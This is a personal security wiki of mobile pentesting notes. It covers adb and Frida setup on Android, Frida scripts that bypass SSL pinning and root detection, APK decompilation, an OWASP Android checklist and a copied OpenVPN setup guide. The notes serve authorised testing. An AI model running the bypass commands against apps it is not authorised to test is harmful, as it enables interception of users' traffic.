# Introduction

This page serves as an introduction to what this Wiki is about and what content it will (or potentially will) consist of.

## About

This is a Wiki that will serve as an educational, research and reference guide relating to topics I have learnt during my educational and professional career in Computer Science, primarily specialising in Cyber Security. I have also decided to include miscellaneous content about other technical findings or issues and associated solutions, I've collated over time, so I am able to reference these at any point in time in the future.

Some of the major topics I plan to section out in this Wiki consist of but are not limited to Red Teaming, Purple Teaming, Penetration Testing, Application Security and associated branches of Technical Security to name a few and to keep the list non-exhaustive.

I will make my best attempt to make this as sectioned out and as accurate as possible with the latest techniques and updates. The 'Search' functionality on this GitBook can help quickly search for areas you are interested in.

* **Twitter Handle:** global404
* **GitHub:** [smhuda](https://github.com/smhuda)
* Gists: <https://gist.github.com/smhuda>
* **Website:**[ https://smhuda.com](https://smhuda.com)&#x20;

## Disclaimer

{% hint style="info" %}
The material located on this site is for informational and educational purposes only, is general in nature, and is not intended to and should not be relied upon or construed as a technical or legal opinion nor advice regarding any specific issue or factual circumstance. Use of any information on this site should be at your own discretion, the site owner cannot be held responsible for any damages caused. The views expressed on this site are my own and do not necessarily reflect those of my employer. Usage of all information on this site, such as attacking targets without prior mutual consent is illegal. The user of this content is responsible to oblige to all applicable local, state, and federal laws. I assume no liability nor am I responsible for any misuse or damage caused by this the information and content available on this site. If the terms of this disclaimer are not agreed upon, it is requested to leave this site immediately!
{% endhint %}


# Application Security


# Mobile App Security


# Android Application Testing

### server side:

```
/usr/bin/frida-server -l 192.168.1.4
```

client side:

```
frida-ps -H 192.168.1.4
```

Just tried with latest frida 12.1.0 and everything works fine.Connect to Device/GenyMotion Virtual Device using ADB

**Install ADB (Linux):**

```
sudo apt-get install android-tools-adb
```

**Windows:**

```
<https://dl.google.com/android/repository/platform-tools-latest-windows.zip>
```

#### Retrieve the virtual device IP address. It is displayed on top of the virtual device window:

#### From another computer, open a command prompt and run:

```
adb connect <virtual_device_IP>:5555
```

#### Find and Pull APK File:

Determine the package name of the app, e.g. "com.example.someapp". Skip this step if you already know the package name.

```
adb shell pm list packages
```

Determine the package name of the app, e.g. "com.example.someapp". Skip this step if you already know the package name.

```
──(root㉿kali)-[~]

└─# adb shell pm path com.marshmallow.marshmallow.test

Output:
package:/data/app/..3WOc6TigEw-A==/com.package.test-sesdss4UbPA==/base.apk

```

```
Using the full path name from Step 2, pull the APK file from the Android device to the development box.
```

```
adb pull /data/app/com.example.someapp-2.apk path/to/desired/destination
```

### How to use ADB Shell when Multiple Devices are connected

```
$ adb devices
List of devices attached 
emulator-5554   device
7f1c864e    device
```

```
adb -s 7f1c864e shell
```

### ADB Connect:

```perl
adb tcpip 5555
adb connect 192.168.0.101:5555
```

### ADB Disconnecting:

Be sure to replace `192.168.0.101` with the IP address that is actually assigned to your device. Once you are done, you can disconnect from the adb tcp session by running:

```sql
adb disconnect 192.168.0.101:5555
```

### To tell the ADB daemon return to listening over USB

```
adb usb
```

### Testing with Frida:

#### Install Frida on Windows/Linux:

```
pip install frida
```

```
pip install frida-tools
```

Make Sure GenyMotion is in **Bridged** mode and proxy is set to the Windows/Linux testing Machine IP and Port.

Install Frida Server on Mobile Device:

<https://github.com/frida/frida/releases/>

**frida-server-15.0.8-android-x86**

<mark style="color:red;">**OR: (Android ARM for One Plux X E1003 Physical Device):**</mark>

{% embed url="<https://github.com/frida/frida/releases/download/15.2.2/frida-server-15.2.2-android-arm.xz>" %}

Copy Frida server file into the android phone tmp directory using adb push command as shown in fig. Here I have used Genymotion as an android emulator. After the copying the file change the permissions of the frida server files.

```
adb push frida-server-downloaded /data/local/tmp/
```

Now go to ADB Shell and change permissions of Server file on the mobile device:

```
adb shell
```

```
cd /data/local/tmp
chmod 777 frida-server-downloaded

# Run the Frida Mobile Server
./frida-server-downloaded
```

## unable to connect to remote frida-server&#x20;

#### Server side:

```
/usr/bin/frida-server -l 192.168.1.4
```

#### Client side:

```
frida-ps -H 192.168.1.4
```

#### Run Frida on Your Machine and Check for packages:

```
frida-ps -Ua

OR 

frida-ps -U
```

### To connect Frida on Remote device:

```
└─# frida-ps -H 192.168.1.37    
```

### Using Frida Scripts:

```
frida --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -f com.testapp.app -U
```

```
%resume
```

or use **No Pause** in script like:

```
frida --no-pause --codeshare dzonerzy/fridantiroot -f YOUR_BINARY -U
```

### Frida LOCAL JS Unpiinning Script:

{% embed url="<https://redfoxsec.com/blog/android-root-detection-bypass-using-frida/>" %}

```
On Device:

wget https://raw.githubusercontent.com/httptoolkit/frida-android-unpinning/main/frida-script.js

```

```
frida -l frida-script.js -f com.MyApp.android -H 192.168.1.3
```

#### Copy Pasting from Host to GenyMotion Emulator:

* **Long press the right click of your mouse until the paste sign appears**

## **Errors Troubleshooting:**

### Android: adb: Permission Denied

```makefile
D:\android-sdk-windows\platform-tools>adb shell test
test: permission denied
```

#### Restarts the adb daemon with root permissions:

```csharp
$ adb root
```

**Push Burp Cert to SD Card Downloads Folder:**

```
adb push burp.cer /data/tmp

```

#### ABD Connect:

```
adb connect 192.168.1.37:5555

```

### Check for Application Package Name:

```
adb shell pm list packages

 adb shell pm list packages | grep MyAppName

```

## Why can't I get root access from shell?

You might need to activate adb root from the developer settings menu. If you run adb root from the cmd line you can get:

root access is disabled by system setting - enable in settings -> development options

root access is disabled by system setting - enable in settings -> development options Once you activate the root option (ADB only or Apps and ADB) adb will restart and you will be able to use root from the cmd line.

You might need to activate adb root from the developer settings menu. If you run `adb root` from the cmd line you can get:

```csharp
root access is disabled by system setting - enable in settings -> development options
```

Once you activate the root option (ADB only or Apps and ADB) adb will restart and you will be able to use root from the cmd line.

### Run Frida Server Manually on Android:

```
onyx:/data/tmp # chmod 777 frida-server   
                                                                                                                                       
onyx:/data/tmp #      ./frida-server -l 192.168.1.37    
```

## No module named frida

```python
sudo pip3 install frida-tools
```

```python
$ unlink /usr/local/bin/python
$ ln -s /usr/local/bin/python3.7 /usr/local/bin/python
```

### Alternative

```python
$ cd ~/
$ open -e .bash_profile
```

paste to the editor, to the top

```python
 alias python='python3'
```

save, then run

```python
$ source ~/.bash_profile
```

## Get Minimum SDK from Android APK build

```
└─# aapt dump badging Your.APK   


package: name='com.yourapp' versionCode='1' versionName='1.0' compileSdkVersion='31' compileSdkVersionCodename='12'
sdkVersion:'21'
targetSdkVersion:'31'
uses-permission: name='android.permission.INTERNET'
uses-permission: name='android.permission.ACCESS_NETWORK_STATE'
uses-permission: name='android.permission.READ_EXTERNAL_STORAGE'
uses-permission: name='android.permission.VIBRATE'
uses-permission: name='android.permission.USE_BIOMETRIC'
uses-permission: name='android.permission.USE_FINGERPRINT'
...truncated for brevity
```

## Decompile an Android Application with Dex2jar and Jd-GUI

### Download Links:

| \_ | Mirror                                  |                        Wiki                       |                        Downloads                        |
| -: | --------------------------------------- | :-----------------------------------------------: | :-----------------------------------------------------: |
| gh | <https://github.com/pxb1988/dex2jar>    |  [Wiki](https://github.com/pxb1988/dex2jar/wiki)  | [Releases](https://github.com/pxb1988/dex2jar/releases) |
| sf | <https://sourceforge.net/p/dex2jar>     |   [old](https://sourceforge.net/p/dex2jar/wiki)   |  [old](https://sourceforge.net/projects/dex2jar/files/) |
| bb | <https://bitbucket.org/pxb1988/dex2jar> | [old](https://bitbucket.org/pxb1988/dex2jar/wiki) |  [old](https://bitbucket.org/pxb1988/dex2jar/downloads) |
| gc | <https://code.google.com/p/dex2jar>     |   [old](http://code.google.com/p/dex2jar/w/list)  |  [old](http://code.google.com/p/dex2jar/downloads/list) |

If bundled with kali then dont need to specify file/extension and just run with `dex2jar`

```
d2j-dex2jar.dh you-apk.apk
```

If everything goes OK, then you’ll get a **you-apk-dex2jar.jar** file in same folder.

Now open **jd-GUI** tool which you can download from <http://java-decompiler.github.io/>

Open **you-apk-dex2jar.jar** file in jd-GUI tool and you’ll see something like this.

## GenyMotion Error with VirtualBox

### /dev/vboxnetctl: no such file or directory

This worked for me (macOS Monterey). This reloads all VirtualBox's kernel extensions.

```
sudo kmutil load -b org.virtualbox.kext.VBoxUSB
sudo kmutil load -b org.virtualbox.kext.VBoxNetFlt
sudo kmutil load -b org.virtualbox.kext.VBoxNetAdp
sudo kmutil load -b org.virtualbox.kext.VBoxDrv
```

## ADB : unable to connect to 192.168.1.10:5555

```
adb usb
```

```
adb tcpip 5555
```

```
adb connect 192.168.10.1:5555
```


# Security Checklist

A checklist with security considerations for designing, testing, and releasing secure Android apps. It is based on the OWASP Mobile Application Security Verification Standard, Mobile Application Secur

### Data Storage

* [ ] &#x20;[The Keystore is used to store sensitive data, such as user credentials or cryptographic keys.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05d-Testing-Data-Storage.md#keystore)
* [ ] &#x20;[No sensitive data is written to application logs.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05d-Testing-Data-Storage.md#logs)
* [ ] &#x20;[No sensitive data is shared with third parties unless it is a necessary part of the architecture.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05d-Testing-Data-Storage.md#determining-whether-sensitive-data-is-shared-with-third-parties-mstg-storage-4)
* [ ] &#x20;[The keyboard cache is disabled on text inputs that process sensitive data.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05d-Testing-Data-Storage.md#determining-whether-the-keyboard-cache-is-disabled-for-text-input-fields-mstg-storage-5)
* [ ] &#x20;[No sensitive data is exposed via IPC mechanisms.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05d-Testing-Data-Storage.md#determining-whether-sensitive-stored-data-has-been-exposed-via-ipc-mechanisms-mstg-storage-6)
* [ ] &#x20;[No sensitive data, such as passwords or pins, is exposed through the user interface.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05d-Testing-Data-Storage.md#checking-for-sensitive-data-disclosure-through-the-user-interface-mstg-storage-7)
* [ ] &#x20;[No sensitive data is included in backups.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05d-Testing-Data-Storage.md#testing-backups-for-sensitive-data-mstg-storage-8)
* [ ] &#x20;[Sensitive data is removed from views when they're moved to the background.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05d-Testing-Data-Storage.md#finding-sensitive-information-in-auto-generated-screenshots-mstg-storage-9)

### Platform Interaction

* [ ] &#x20;[The app only requests the minimum set of permissions necessary.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#testing-app-permissions-mstg-platform-1)
* [ ] &#x20;[All inputs from external sources and the user are validated and if necessary sanitized. This includes data received via the UI, IPC mechanisms such as intents, custom URLs, and network sources.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#testing-for-injection-flaws-mstg-platform-2)
* [ ] &#x20;[The app does not export sensitive functionality via custom URL schemes without proper protection.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#testing-deep-links-mstg-platform-3)
* [ ] &#x20;[The app does not export sensitive functionality through IPC facilities without proper protection.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#testing-for-sensitive-functionality-exposure-through-ipc-mstg-platform-4)
* [ ] &#x20;[JavaScript is disabled in WebViews unless explicitly required.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#testing-javascript-execution-in-webviews-mstg-platform-5)
* [ ] &#x20;[WebViews are configured to allow only the minimum set of protocol handlers required (ideally, only https is supported). Potentially dangerous handlers, such as file, tel and app-id, are disabled.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#testing-webview-protocol-handlers-mstg-platform-6)
* [ ] &#x20;[If native methods of the app are exposed to a WebView, that WebView only renders JavaScript contained within the app package](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#determining-whether-java-objects-are-exposed-through-webviews-mstg-platform-7).
* [ ] &#x20;[Object serialization, if any, is implemented using safe serialization APIs.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#testing-object-persistence-mstg-platform-8)

### Cryptography

* [ ] &#x20;[The app does not rely on symmetric cryptography with hardcoded keys as a sole method of encryption.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05e-Testing-Cryptography.md#testing-symmetric-cryptography-mstg-crypto-1)
* [ ] &#x20;[The app uses proven implementations of cryptographic primitives.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04g-Testing-Cryptography.md#cryptographic-apis-on-android-and-ios)
* [ ] &#x20;[The app uses cryptographic primitives that are appropriate for the particular use-case, configured with parameters that adhere to industry best practices.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04g-Testing-Cryptography.md#common-configuration-issues-mstg-crypto-1-mstg-crypto-2-and-mstg-crypto-3)
* [ ] &#x20;[The app does not use cryptographic protocols or algorithms that are widely considered depreciated for security purposes.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04g-Testing-Cryptography.md#identifying-insecure-andor-deprecated-cryptographic-algorithms-mstg-crypto-4)
* [ ] &#x20;[All random values are generated using a sufficiently secure random number generator.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04g-Testing-Cryptography.md#weak-random-number-generators)
* [ ] &#x20;The app doesn't re-use the same cryptographic key for multiple purposes.

### Authentication

* [ ] &#x20;[If the app provides users with access to a remote service, an acceptable form of authentication such as username/password authentication is performed at the remote endpoint.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04e-Testing-Authentication-and-Session-Management.md#verifying-that-appropriate-authentication-is-in-place-mstg-arch-2-and-mstg-auth-1)
* [ ] &#x20;[A password policy exists and is enforced at the remote endpoint.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04e-Testing-Authentication-and-Session-Management.md#testing-best-practices-for-passwords-mstg-auth-5-and-mstg-auth-6)
* [ ] &#x20;[The remote endpoint implements an exponential back-off, or temporarily locks the user account, when incorrect authentication credentials are submitted an excessive number of times.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04e-Testing-Authentication-and-Session-Management.md#login-throttling)
* [ ] &#x20;[If stateful session management is used, the remote endpoint uses randomly generated session identifiers to authenticate client requests without sending the user's credentials.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04e-Testing-Authentication-and-Session-Management.md#testing-stateful-session-management-mstg-auth-2)
* [ ] &#x20;[If stateless token-based authentication is used, the server provides a token signed using a secure algorithm.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04e-Testing-Authentication-and-Session-Management.md#testing-stateless-token-based-authentication-mstg-auth-3)
* [ ] &#x20;[The remote endpoint terminates the existing stateful session or invalidates the stateless session token when the user logs out.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04e-Testing-Authentication-and-Session-Management.md#testing-user-logout-mstg-auth-4)
* [ ] &#x20;[Biometric authentication, if any, is not event-bound (i.e. using an API that simply returns "true" or "false"). Instead, it is based on unlocking the Keystore.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05f-Testing-Local-Authentication.md#testing-biometric-authentication-mstg-auth-8)

### WebViews

* [ ] &#x20;[WebViews correctly validate incoming URLs.](https://blog.oversecured.com/Android-security-checklist-webview/#insufficient-url-validation)
* [ ] &#x20;[The app sanitizes the JavaScript data when injected.](https://blog.oversecured.com/Android-security-checklist-webview/#javascript-code-injections)
* [ ] &#x20;[WebViewClient sanitizes the Intent received from the URL before launching it.](https://blog.oversecured.com/Android-security-checklist-webview/#attacks-on-internal-url-handlers)

### Network

* [ ] &#x20;[Data is encrypted on the network using TLS. The secure channel is used consistently throughout the app.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05g-Testing-Network-Communication.md#testing-data-encryption-on-the-network-mstg-network-1)
* [ ] &#x20;[The TLS settings are in line with current best practices, or as close as possible if the mobile operating system does not support the recommended standards.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04f-Testing-Network-Communication.md#verifying-the-tls-settings-mstg-network-2)
* [ ] &#x20;[The app verifies the X.509 certificate of the remote endpoint when the secure channel is established. Only certificates signed by a trusted CA are accepted.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05g-Testing-Network-Communication.md#testing-endpoint-identify-verification-mstg-network-3)

### Code Quality

* [ ] &#x20;[The app is signed and provisioned with valid certificate.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05i-Testing-Code-Quality-and-Build-Settings.md#making-sure-that-the-app-is-properly-signed-mstg-code-1)
* [ ] &#x20;[The app has been built in release mode, with settings appropriate for a release build (e.g. non-debuggable).](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05i-Testing-Code-Quality-and-Build-Settings.md#testing-whether-the-app-is-debuggable-mstg-code-2)
* [ ] &#x20;[Debugging symbols have been removed from native binaries.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05i-Testing-Code-Quality-and-Build-Settings.md#testing-for-debugging-symbols-mstg-code-3)
* [ ] &#x20;[Debugging code has been removed, and the app does not log verbose errors or debugging messages.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05i-Testing-Code-Quality-and-Build-Settings.md#testing-for-debugging-code-and-verbose-error-logging-mstg-code-4)
* [ ] &#x20;[Third-party libraries have been checked for weaknesses](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05i-Testing-Code-Quality-and-Build-Settings.md#checking-for-weaknesses-in-third-party-libraries-mstg-code-5)
* [ ] &#x20;[The app catches and handles possible exceptions.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05i-Testing-Code-Quality-and-Build-Settings.md#testing-exception-handling-mstg-code-6-and-mstg-code-7)
* [ ] &#x20;[Error handling logic in security controls denies access by default.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05i-Testing-Code-Quality-and-Build-Settings.md#testing-exception-handling-mstg-code-6-and-mstg-code-7)
* [ ] &#x20;[In unmanaged code, memory is allocated, freed and used securely.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05i-Testing-Code-Quality-and-Build-Settings.md#memory-corruption-bugs-mstg-code-8)
* [ ] &#x20;[Free security features offered by the toolchain, such as byte-code minification, stack protection, PIE support and automatic reference counting, are activated.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05i-Testing-Code-Quality-and-Build-Settings.md#make-sure-that-free-security-features-are-activated-mstg-code-9)

### Defense-in-Depth

* [ ] &#x20;[A second factor of authentication exists at the remote endpoint and the 2FA requirement is consistently enforced.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04e-Testing-Authentication-and-Session-Management.md#testing-two-factor-authentication-and-step-up-authentication-mstg-auth-9-and-mstg-auth-10)
* [ ] &#x20;[Sessions and access tokens are invalidated at the remote endpoint after a predefined period of inactivity.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04e-Testing-Authentication-and-Session-Management.md#testing-session-timeout-mstg-auth-7)
* [ ] &#x20;[The app does not hold sensitive data in memory longer than necessary, and memory is cleared explicitly after use.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05d-Testing-Data-Storage.md#cleaning-out-key-material)
* [ ] &#x20;[The app enforces a minimum device-access-security policy, such as requiring the user to set a device passcode.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05d-Testing-Data-Storage.md#testing-the-device-access-security-policy-mstg-storage-11)
* [ ] &#x20;[Step-up authentication is required to enable actions that deal with sensitive data or transactions.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04e-Testing-Authentication-and-Session-Management.md#testing-two-factor-authentication-and-step-up-authentication-mstg-auth-9-and-mstg-auth-10)
* [ ] &#x20;[The app either uses its own certificate store, or pins the endpoint certificate or public key, and subsequently does not establish connections with endpoints that offer a different certificate or key, even if signed by a trusted CA.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05g-Testing-Network-Communication.md#testing-custom-certificate-stores-and-certificate-pinning-mstg-network-4)
* [ ] &#x20;[The app doesn't rely on a single insecure communication channel (email or SMS) for critical operations, such as enrollments and account recovery.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04f-Testing-Network-Communication.md#making-sure-that-critical-operations-use-secure-communication-channels-mstg-network-5)
* [ ] &#x20;[The app detects whether it is being executed on a rooted device. Depending on the business requirement, users are warned, or the app is terminated if the device is rooted.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05j-Testing-Resiliency-Against-Reverse-Engineering.md#testing-root-detection-mstg-resilience-1)
* [ ] &#x20;[The app informs the user of all login activities with his or her account. Users are able view a list of devices used to access the account, and to block specific devices.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04e-Testing-Authentication-and-Session-Management.md#testing-login-activity-and-device-blocking-mstg-auth-11)
* [ ] &#x20;[The app educates the user about the types of personally identifiable information.](https://github.com/OWASP/owasp-mstg/blob/master/Document/0x04i-Testing-User-Privacy-Protection.md#testing-user-education-mstg-storage-12)


# SSL Pinning Bypasses

* [ ] <https://httptoolkit.com/blog/frida-certificate-pinning/>
* [ ] <https://github.com/httptoolkit/frida-android-unpinning>

```
frida -U -l ./frida-script.js -f $TARGET_PACKAGE_NAME
```

* [ ] <https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/>

```
frida --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -f YOUR_BINARY
```

## Multiple Frida Bypasses in Conjunction:

```
┌──(kali㉿kali)-[~]
└─$ frida -f my.package.com -U -l /home/kali/Downloads/root.js -l /home/kali/Downloads/pinning.js

```


# Non-Proxy Aware Applications

**Article here:**

{% embed url="<https://medium.com/@meshal_/pentesting-non-proxy-aware-mobile-applications-65161f62a965>" %}


# Setting up VPN Server

{% hint style="info" %}
The below information is taken from:

<https://www.digitalocean.com/community/tutorials/how-to-set-up-an-openvpn-server-on-ubuntu-16-04>
{% endhint %}

#### Introduction <a href="#introduction" id="introduction"></a>

Want to access the Internet safely and securely from your smartphone or laptop when connected to an untrusted network such as the WiFi of a hotel or coffee shop? A [Virtual Private Network](https://en.wikipedia.org/wiki/Virtual_private_network) (VPN) allows you to traverse untrusted networks privately and securely as if you were on a private network. The traffic emerges from the VPN server and continues its journey to the destination.

When combined with [HTTPS connections](https://en.wikipedia.org/wiki/HTTP_Secure), this setup allows you to secure your wireless logins and transactions. You can circumvent geographical restrictions and censorship, and shield your location and any unencrypted HTTP traffic from the untrusted network.

[OpenVPN](https://openvpn.net/) is a full-featured open source Secure Socket Layer (SSL) VPN solution that accommodates a wide range of configurations. In this tutorial, we’ll set up an OpenVPN server on a Droplet and then configure access to it from Windows, OS X, iOS and Android. This tutorial will keep the installation and configuration steps as simple as possible for these setups.

**Note:** If you plan to set up an OpenVPN server on a DigitalOcean Droplet, be aware that we, like many hosting providers, charge for bandwidth overages. For this reason, please be mindful of how much traffic your server is handling.

See [this page](https://www.digitalocean.com/docs/accounts/billing/bandwidth/) for more info.

### Prerequisites

To complete this tutorial, you will need access to an Ubuntu 16.04 server.

You will need to configure a non-root user with `sudo` privileges before you start this guide. You can follow our [Ubuntu 16.04 initial server setup guide](https://www.digitalocean.com/community/tutorials/initial-server-setup-with-ubuntu-16-04) to set up a user with appropriate permissions. The linked tutorial will also set up a **firewall**, which we will assume is in place during this guide.

When you are ready to begin, log into your Ubuntu server as your `sudo` user and continue below.

### Step 1: Install OpenVPN

To start off, we will install OpenVPN onto our server. OpenVPN is available in Ubuntu’s default repositories, so we can use `apt` for the installation. We will also be installing the `easy-rsa` package, which will help us set up an internal CA (certificate authority) for use with our VPN.

To update your server’s package index and install the necessary packages type:

```
sudo apt-get update
sudo apt-get install openvpn easy-rsa
```

Copy

The needed software is now on the server, ready to be configured.

### Step 2: Set Up the CA Directory

OpenVPN is an TLS/SSL VPN. This means that it utilizes certificates in order to encrypt traffic between the server and clients. In order to issue trusted certificates, we will need to set up our own simple certificate authority (CA).

To begin, we can copy the `easy-rsa` template directory into our home directory with the `make-cadir` command:

```
make-cadir ~/openvpn-ca
```

Copy

Move into the newly created directory to begin configuring the CA:

```
cd ~/openvpn-ca
```

Copy

### Step 3: Configure the CA Variables

To configure the values our CA will use, we need to edit the `vars` file within the directory. Open that file now in your text editor:

```
nano vars
```

Copy

Inside, you will find some variables that can be adjusted to determine how your certificates will be created. We only need to worry about a few of these.

Towards the bottom of the file, find the settings that set field defaults for new certificates. It should look something like this:

\~/openvpn-ca/vars

```
. . .

export KEY_COUNTRY="US"
export KEY_PROVINCE="CA"
export KEY_CITY="SanFrancisco"
export KEY_ORG="Fort-Funston"
export KEY_EMAIL="me@myhost.mydomain"
export KEY_OU="MyOrganizationalUnit"

. . .
```

Edit the values in red to whatever you’d prefer, but do not leave them blank:

\~/openvpn-ca/vars

```
. . .

export KEY_COUNTRY="US"
export KEY_PROVINCE="NY"
export KEY_CITY="New York City"
export KEY_ORG="DigitalOcean"
export KEY_EMAIL="admin@example.com"
export KEY_OU="Community"

. . .
```

While we are here, we will also edit the `KEY_NAME` value just below this section, which populates the subject field. To keep this simple, we’ll call it `server` in this guide:

\~/openvpn-ca/vars

```
export KEY_NAME="server"
```

When you are finished, save and close the file.

### Step 4: Build the Certificate Authority

Now, we can use the variables we set and the `easy-rsa` utilities to build our certificate authority.

Ensure you are in your CA directory, and then source the `vars` file you just edited:

```
cd ~/openvpn-ca
source vars
```

Copy

You should see the following if it was sourced correctly:

```
OutputNOTE: If you run ./clean-all, I will be doing a rm -rf on /home/sammy/openvpn-ca/keys
```

Make sure we’re operating in a clean environment by typing:

```
./clean-all
```

Copy

Now, we can build our root CA by typing:

```
./build-ca
```

Copy

This will initiate the process of creating the root certificate authority key and certificate. Since we filled out the `vars` file, all of the values should be populated automatically. Just press **ENTER** through the prompts to confirm the selections:

```
OutputGenerating a 2048 bit RSA private key
..........................................................................................+++
...............................+++
writing new private key to 'ca.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [US]:
State or Province Name (full name) [NY]:
Locality Name (eg, city) [New York City]:
Organization Name (eg, company) [DigitalOcean]:
Organizational Unit Name (eg, section) [Community]:
Common Name (eg, your name or your server's hostname) [DigitalOcean CA]:
Name [server]:
Email Address [admin@email.com]:
```

We now have a CA that can be used to create the rest of the files we need.

### Step 5: Create the Server Certificate, Key, and Encryption Files

Next, we will generate our server certificate and key pair, as well as some additional files used during the encryption process.

Start by generating the OpenVPN server certificate and key pair. We can do this by typing:

**Note**: If you choose a name other than `server` here, you will have to adjust some of the instructions below. For instance, when copying the generated files to the `/etc/openvpn` directroy, you will have to substitute the correct names. You will also have to modify the `/etc/openvpn/server.conf` file later to point to the correct `.crt` and `.key` files.

```
./build-key-server server
```

Copy

Once again, the prompts will have default values based on the argument we just passed in (`server`) and the contents of our `vars` file we sourced.

Feel free to accept the default values by pressing **ENTER**. Do *not* enter a challenge password for this setup. Towards the end, you will have to enter **y** to two questions to sign and commit the certificate:

```
Output. . .

Certificate is to be certified until May  1 17:51:16 2026 GMT (3650 days)
Sign the certificate? [y/n]:y


1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated
```

Next, we’ll generate a few other items. We can generate a strong Diffie-Hellman keys to use during key exchange by typing:

```
./build-dh
```

Copy

This might take a few minutes to complete.

Afterwards, we can generate an HMAC signature to strengthen the server’s TLS integrity verification capabilities:

```
openvpn --genkey --secret keys/ta.key
```

Copy

### Step 6: Generate a Client Certificate and Key Pair

Next, we can generate a client certificate and key pair. Although this can be done on the client machine and then signed by the server/CA for security purposes, for this guide we will generate the signed key on the server for the sake of simplicity.

We will generate a single client key/certificate for this guide, but if you have more than one client, you can repeat this process as many times as you’d like. Pass in a unique value to the script for each client.

Because you may come back to this step at a later time, we’ll re-source the `vars` file. We will use `client1` as the value for our first certificate/key pair for this guide.

To produce credentials without a password, to aid in automated connections, use the `build-key` command like this:

```
cd ~/openvpn-ca
source vars
./build-key client1
```

Copy

If instead, you wish to create a password-protected set of credentials, use the `build-key-pass` command:

```
cd ~/openvpn-ca
source vars
./build-key-pass client1
```

Copy

Again, the defaults should be populated, so you can just hit **ENTER** to continue. Leave the challenge password blank and make sure to enter **y** for the prompts that ask whether to sign and commit the certificate.

### Step 7: Configure the OpenVPN Service

Next, we can begin configuring the OpenVPN service using the credentials and files we’ve generated.

#### Copy the Files to the OpenVPN Directory

To begin, we need to copy the files we need to the `/etc/openvpn` configuration directory.

We can start with all of the files that we just generated. These were placed within the `~/openvpn-ca/keys` directory as they were created. We need to move our CA cert, our server cert and key, the HMAC signature, and the Diffie-Hellman file:

```
cd ~/openvpn-ca/keys
sudo cp ca.crt server.crt server.key ta.key dh2048.pem /etc/openvpn
```

Copy

Next, we need to copy and unzip a sample OpenVPN configuration file into configuration directory so that we can use it as a basis for our setup:

```
gunzip -c /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz | sudo tee /etc/openvpn/server.conf
```

Copy

#### Adjust the OpenVPN Configuration

Now that our files are in place, we can modify the server configuration file:

```
sudo nano /etc/openvpn/server.conf
```

Copy

**Basic Configuration**

First, find the HMAC section by looking for the `tls-auth` directive. Remove the “**;**” to uncomment the `tls-auth` line:

/etc/openvpn/server.conf

```
tls-auth ta.key 0 # This file is secret
```

Next, find the section on cryptographic ciphers by looking for the commented out `cipher` lines. The `AES-128-CBC` cipher offers a good level of encryption and is well supported. Remove the “**;**” to uncomment the `cipher AES-128-CBC` line:

/etc/openvpn/server.conf

```
cipher AES-128-CBC
```

Below this, add an `auth` line to select the HMAC message digest algorithm. For this, `SHA256` is a good choice:

/etc/openvpn/server.conf

```
auth SHA256
```

Finally, find the `user` and `group` settings and remove the “**;**” at the beginning of to uncomment those lines:

/etc/openvpn/server.conf

```
user nobody
group nogroup
```

